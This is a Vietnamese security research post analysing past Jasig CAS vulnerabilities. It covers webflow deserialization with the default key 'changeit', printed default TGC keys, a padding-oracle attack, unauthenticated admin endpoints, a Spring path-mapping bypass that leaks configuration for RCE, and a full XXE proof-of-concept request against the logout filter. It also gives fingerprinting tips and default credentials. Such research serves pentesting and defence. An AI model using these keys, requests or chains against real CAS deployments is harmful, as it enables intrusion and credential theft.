Jasig CAS past vulnerabilities research

theme

Preface

CAS là một ứng dụng Enterprise Single Sign-On open source khá phổ biến được sử dụng bởi nhiều doanh nghiệp lớn. CAS hỗ trợ nhiều giao thức xác thực như CAS (tương tự kerberos), SAML, Oauth, OpenID cũng như có tính tùy biến cao nên được nhiều bên lựa chọn.

CAS ban đầu được phát triển với tên Jasig CAS có package name là org.jasig.cas nhưng từ 2012 thì Jasig hợp nhất với Sakai Foundation tạo nên Apereo Foundation. Từ đó CAS có tên Apereo CAS và cũng đổi luôn package name thành org.apereo.cas từ version 5.0 và vẫn được tích cực maintain cho đến ngày nay. Dù Jasig CAS EOL từ 2012 nhưng vẫn có một số library tiếp tục được maintain và sử dụng cho đến nay nên mình vẫn sẽ chia ra 2 tên / package như trên.

Bài viết này sẽ đi vào tìm hiểu CAS / một số lỗ hổng tiêu biểu trong quá khứ / quá trình sử dụng dụng mà có thể cấu hình sai nhắm giúp người đọc (và mình) có cái nhìn tổng quan khi pentest product này. CAS có release vulnerability disclosure blog tại đây tuy nhiên các lỗ hổng ít khi được đánh CVE gây khó khăn trong quá trình theo dõi.

Ban đầu mình định gộp chung phân tích hết lỗ hổng vào 1 bài nhưng do quá dài nên đây chỉ là part 1, tập trung vào Jasig CAS, part 2 sẽ phân tích các lỗ hổng trên Apereo CAS.

cas - 4.1.x~4.1.6 deserialization vulnerability (exploiting default key)

CAS utilize spring-webflow để quản lý luồng xác thực của ứng dụng. Từ version 4.1.0 CAS dùng spring-webflow-client-repo để custom lại webflow chuyển giá trị webflow conversaional state từ lưu ở server về lưu ở client dưới dạng 1 parameter tên là execution. Để dễ hiểu thì giá trị này như là viewstate trong ASP.NET lưu trữ serialized object và cũng tương tự ASP.NET thì spring-webflow-client có thực hiện encrypt serialized object này để tránh bị sửa đổi.

Class org.jasig.spring.webflow.plugin.EncryptedTranscoder nhận nhiệm vụ này với method .encode() gọi .writeObject() và encrypt outputStream: EncryptedTranscoder

Method .decode() decrypt inputStream và gọi .readObject(): EncryptedTranscoder2

Vấn đề là khi khởi tạo CipherBeanBufferedBlockCipherBean với thuật toán AES mã hóa đối xứng xài default key là changeit: changeit

Hơn cả CAS thường được cài đặt dưới dạng WAR Overlay với configuration default EncryptedTranscoder vẫn dùng BufferedBlockCipherBean default key này: BufferedBlockCipherBean

Giá trị cas.webflow trên thường sẽ được set ở file cas.properties và mặc định thì nó cũng không được set :D. Vậy chốt lại thì ứng dụng nào xài default configuration của CAS mà không set lại webfow key thì có thể dùng default key changeit để encrypt và exploit deserialize qua webflow state.

Giá trị của parameter execution sẽ có dạng [UUID]_[BASE64-AES-serialized-object]: execution execution_parameter

Luồng gọi đến sink EncryptedTranscoder.decode() cũng không có gì hay ho, các factory, repository tương ứng được cấu hình ở cas-servlet.xml rồi, sau đây là call stack:

FlowHandlerAdapter.handle()
FlowExecutorImpl.resumeExecution()
ClientFlowExecutionRepository.getFlowExecution()
EncryptedTranscoder.decode()
AbstractCipherBean.decrypt()
ObjectInputStream.readObject()

PoC URLDNS chain, phần encrypt thì cứ lấy luôn method encode() của thằng EncryptedTranscoder là được: https://gist.github.com/devme4f/177fcc11685a50b72aed0a1efd4d0fbe

exploit_default_key received_exploit_default_key

.

Ngoài webflow key được set default thì TGC secret key cũng được set default tại cas.properties, dùng key này có thể sign ticket mong muốn: default_TGC

tgc.encryption.key=1PbwSbnHeinpkZOSZjuSJ8yYpUrInm5aaV18J2Ar4rM
tgc.signing.key=szxK-5_eJjs-aUj-64MpUZ-GPPzGLhYPLGl0wrYjYNVAGva2P0lLe6UGKGM7k8dWxsOVGutZWgvmY3l5oVPO3w

cas - 4.1.7~4.2.x deserialization vulnerability (need to know encryption key and signature key)

Bản fix 4.1.7 EncryptedTranscoder không còn dùng BufferedBlockCipherBean với defautl key nữa mà dùng CasWebflowCipherBean không set default key: CasWebflowCipherBean

Nếu vẫn dùng configuration này mà không set webflow key, CAS sẽ tự generate random secret key, có thể thấy ở CAS log: generate

Nên trong trường hợp có được cặp webflow key này, ta lại có thể exploit deserialization.

PoC 4.1.7~4.2.x: https://gist.github.com/devme4f/707bed738d82ae57212a0ddaf2ccfe86 exploit_leaks_key Request: req_exploit_leaks_key Received: Received_exploit_leaks_key

cas - 4.x~4.1.6 Padding Oracle CBC deserialization vulnerability

Trong trường hợp đã tự set encryption key, vẫn có thể tấn công deserialize qua Padding Oracle CBC do BufferedBlockCipherBean dùng thuật toán AES-CBC, mình up lại ảnh: AES-CBC

Về phần này mình sẽ viết một bài riêng để tránh bài quá dài, về poc có thể tham khảo script sau: https://github.com/threedr3am/learnjavabug/tree/master/cas/CAS4PaddingOracleCBC

Script thực hiện tấn công padding oracle để encrypt lại serialized object, bản chất padding oracle vẫn là brute force từng ký tự trong khối do đó nếu payload quá lớn sẽ tốn rất nhiều tài nguyên nên như PoC trên payload sẽ deserialize qua JRMP để hạn chế độ dài phải encrypt.

cas >= 4.1.7

Như đã đề cập, bản fix không còn dùng BufferedBlockCipherBean mà là CasWebflowCipherBean -> BinaryCipherExecutor: BinaryCipherExecutor

BinaryCipherExecutor#decode() dùng org.apache.shiro.crypto.AesCipherService (line 72) thuộc lib shiro-core để implement encryption và mặc định vẫn sử dụng thuật toán AES-CBC: AesCipherService AES-CBC2

Nhưng khác với BufferedBlockCipherBean, method này trước khi thực hiện AES-CBC decrypt ciphertext sẽ thực hiện verifySignature() như ảnh trên với HMAC-SHA512 để kiểm tra tính toàn vẹn của ciphertext, nếu bị sửa đổi thì trả về null do đó không thực hiện decrypt nên không thể sửa đổi ciphertext để tấn công padding oracle: verifySignature

cas 4.2.x~4.2.5 administrative endpoints exposed

Exposure endpoints:

/statistics/ping
/statistics/threads
/statistics/metrics
/statistics/healthcheck
/statistics/ssosessions
/statistics/ssosessions/**

Lỗ hổng cho phép truy cập các administrative endpoints như phía trên không cần xác thực (mình chưa poc đc /statistics/ssosessions): threads

Bản fix 4.2.6 xóa các endpoints trên ở file web.xml: 4.2.6

Thêm lại mapping vào bean handlerMappingC - SimpleUrlHandlerMapping thuộc file applicationContext.xml: applicationContext

Từ đó các endpoints này thay vì được tomcat mapping trực tiếp đến các servlets thì sẽ được mapping bởi org.springframework.web.servlet.DispatcherServlet của spring.

Do tại securityContext.xml config của spring có RequiresAuthenticationInterceptor được cấu hình để validate liệu các endpoints /status/**" hay /statistics/** có được truy cập từ địa chỉ của admin/loopback 127.0.0.1: securityContext

Nên các endpoints ở bản < 4.2.6 exposure do không đi qua DispatcherServlet của spring nên cũng không đi qua interceptor trên.

Điều này dấn đến 2 trường hợp misconfiguration khác:

  1. Nếu CAS đứng sau một reverse proxy cùng chạy trên 1 server thì khi request được forward sẽ đều mang địa chỉ loopback –> exposure
  2. Nếu dev cấu hình các administrative endpoints mapping bởi tomcat (ex: servlet web.xml) thay vì spring –> exposure

bonus easy RCE

Không được đề cập ở advisory trên nhưng đây là một số endpoints nhạy cảm khác exposure tùy cấu hình, riêng /cas/status/config/getProperties có thể truy cập unauth và leaks cả file cas.properties (default - đã tested bản 4.2.5) - có thể RCE với leaked webflow key trong file cấu hình!

/cas/status
/cas/status/config
/cas/status/config/getProperties

(lab demo chưa cấu hình gì) req_bonus_easy_RCE

package org.jasig.cas.web.report;

// .....

@Controller("internalConfigController")
public final class InternalConfigStateController {
    private static final String VIEW_CONFIG = "monitoring/viewConfig";
    @Autowired
    private ApplicationContext applicationContext;
    @Autowired(
        required = true
    )
    @Qualifier("casProperties")
    private Properties casProperties;

    public InternalConfigStateController() {
    }

    @RequestMapping(
        method = {RequestMethod.GET},
        value = {"/status/config"}
    )
    protected ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        return new ModelAndView("monitoring/viewConfig");
    }

    @RequestMapping(
        value = {"/getProperties"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    protected Set<Map.Entry<Object, Object>> getProperties() {
        return this.casProperties.entrySet();
    }
}

Nhìn qua mình chưa hiểu nguyên nhân tại sao có thể truy cập unauth do trong web.xml chỉ có cấu hình trỏ đến /status/config/*, không thấy mapping /getProperties.

Tiến hành debug, /status/config/getProperties sẽ mapping bởi DispatcherServlet#getHandler(), tiếp đến tìm method handler qua AbstractHandlerMethodMapping#getHandlerInternal(), tại đây lookupPath trả về /getProperties: AbstractHandlerMethodMapping

Nguyên nhân do UrlPathHelper.alwaysUseFullPath=false (default của spring): alwaysUseFullPath

Để hiểu đơn giản: map /servletPath/*

/app/servletPath/pathInfo --> /pathInfo # alwaysUseFullPath=false
/app/servletPath/pathInfo --> /servletPath/pathInfo # alwaysUseFullPath=true

Spring sẽ dùng lookupPath trên để tìm handler method tương ứng như ở ảnh trên (line 169) và tìm được InternalConfigStateController#getProperties()

Có được handler method sẽ tìm tiếp các interceptors tương ứng và spring vẫn dùng lookupPath với alwaysUseFullPath=false, do đó regex check servletPath /status/**/statistics/** trở nên vô dụng: interceptors

Nhờ đó bypass được RequiresAuthenticationInterceptor và gọi /getProperties trả về toàn bộ cấu hình file cas.properties :D

Lỗi mapping tương tự trên stackoverflow: https://stackoverflow.com/questions/40162345/spring-mvc-servlet-url-does-not-map-correctly

Spring document Path Matching cũng đã đề cập đến vấn đề này: https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-servlet/handlermapping-path.html

Bản fix 4.2.6 set UrlPathHelper.alwaysUseFullPath=true để lookupPath của spring giống với cấu hình servlet. 4.2.6-2 Request: req_4.2.6-2

Họ cũng đặt lại thành full path là /status/config/getProperties edit_4.2.6-2

a critical vulnerability

Vậy cas < 4.2.6 có thể lợi dụng các mapping /servletPath/* để gọi đến handler method bất kỳ mong muốn trừ /status/**, /statistics/**, ví dụ /getSsoSessions không hề được cấu hình sử dụng: getSsoSessions (lab test nên không data) req_getSsoSessions

Với /v1/*: v1 req_v1

Các default endpoints có thể lợi dụng:

/statistics/ssosessions/*
/status/config/*
/v1/*

Spring Web flow Data Binding Expression Vulnerability

Product version cũ tương ứng với các thư viện sử dụng đi kèm cũng là đồ cũ, thư viện tồn tại CVE thì chính product cũng dính theo, với CAS thư viện chính được sử dụng trong xác thực là spring web flow tồn tại một số CVE khá nghiêm trọng như SpEL Injection. Theo mình test thì để exploit được dù phụ thuộc cấu hình mà mình deploy nhưng khả năng dính của Jasig CAS cao hơn cả khi default không set UseSpringBeanBinding=true.

2 CVE:

  • CVE-2017-8039: Data Binding Expression Vulnerability in Spring Web Flow
  • CVE-2017-4971: Data Binding Expression Vulnerability in Spring Web Flow

Mình cũng đã có bài viết các lỗ hổng về thư viện này, tham khảo: Spring Web Flow past vulnerabilities research

cas-client-core - (3.1.11,3.6.0] xml external entity injection

analysis

Follow pull request biết sink tại cas-client-core/src/main/java/org/jasig/cas/client/util/XmlUtils.java nhận thấy method khởi tạo xml parser đã được set thêm các security features XmlUtils

Có 2 method sử dụng getXmlReader() để parse xml là getTextForElements()/getTextForElement() mà arguments là string xml sẽ được parse trực tiếp bởi vulnerable parser: getTextForElement

Với cả 2 methods, sau một hồi ngồi find usage mình tìm được chain sau sẽ có thể khải thác được khi mặc định sử dụng SingleSignOutFilter logout filter của CAS.

Đầu tiên handler SingleSignOutHandler nhận parse xml parameter logoutRequest, xml cần có element SessionIndex: SingleSignOutHandler

Tại handler method process() sẽ gọi đến hàm này, để vào vòng if như ảnh chỉ cần method POST + có parameter logoutRequest: process

Và cuối cùng đơn giản SingleSignOutFilter#doFilter() sẽ gọi đến handler này: doFilter

Call Stack:

SingleSignOutFilter.doFilter()
    AbstractConfigurationFilter.destroySession()
        XmlUtils.getTextForElement()
            XMLReader.parse()

POC

POST /cas_client/logout HTTP/1.1
Host: cas_client
Content-Type: application/x-www-form-urlencoded

logoutRequest=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'http://<ssrf>'>]><SessionIndex>&test;</SessionIndex>

Request: req_xxe

Dns Query: dns_xxe

refs

bonus

cas version detect

  • cas <= 3.x | cas >= 5.x do version này không dùng spring-webflow-client, parameter execution không có uuid…: version1

  • cas <= 4.1.6 ciphertext có headerBytes[0, 0, 0, 34, 0, 0, 0, 16,..... version2 –> sau base64 encode là AAAAI....: version3 version4

  • cas >= 4.1.7 ciphertext sẽ có dạng một jws token được encode base64 với phần payload_token chứa serialized object: version5 (base64 decode 2 lần) version6

  • cas <= 4.2.4: version7

default credentials

ref: https://apereo.github.io/cas/7.0.x/authentication/Configuring-Authentication-Components.html#authentication-handlers

accept.authn.users=casuser::Mellon

refs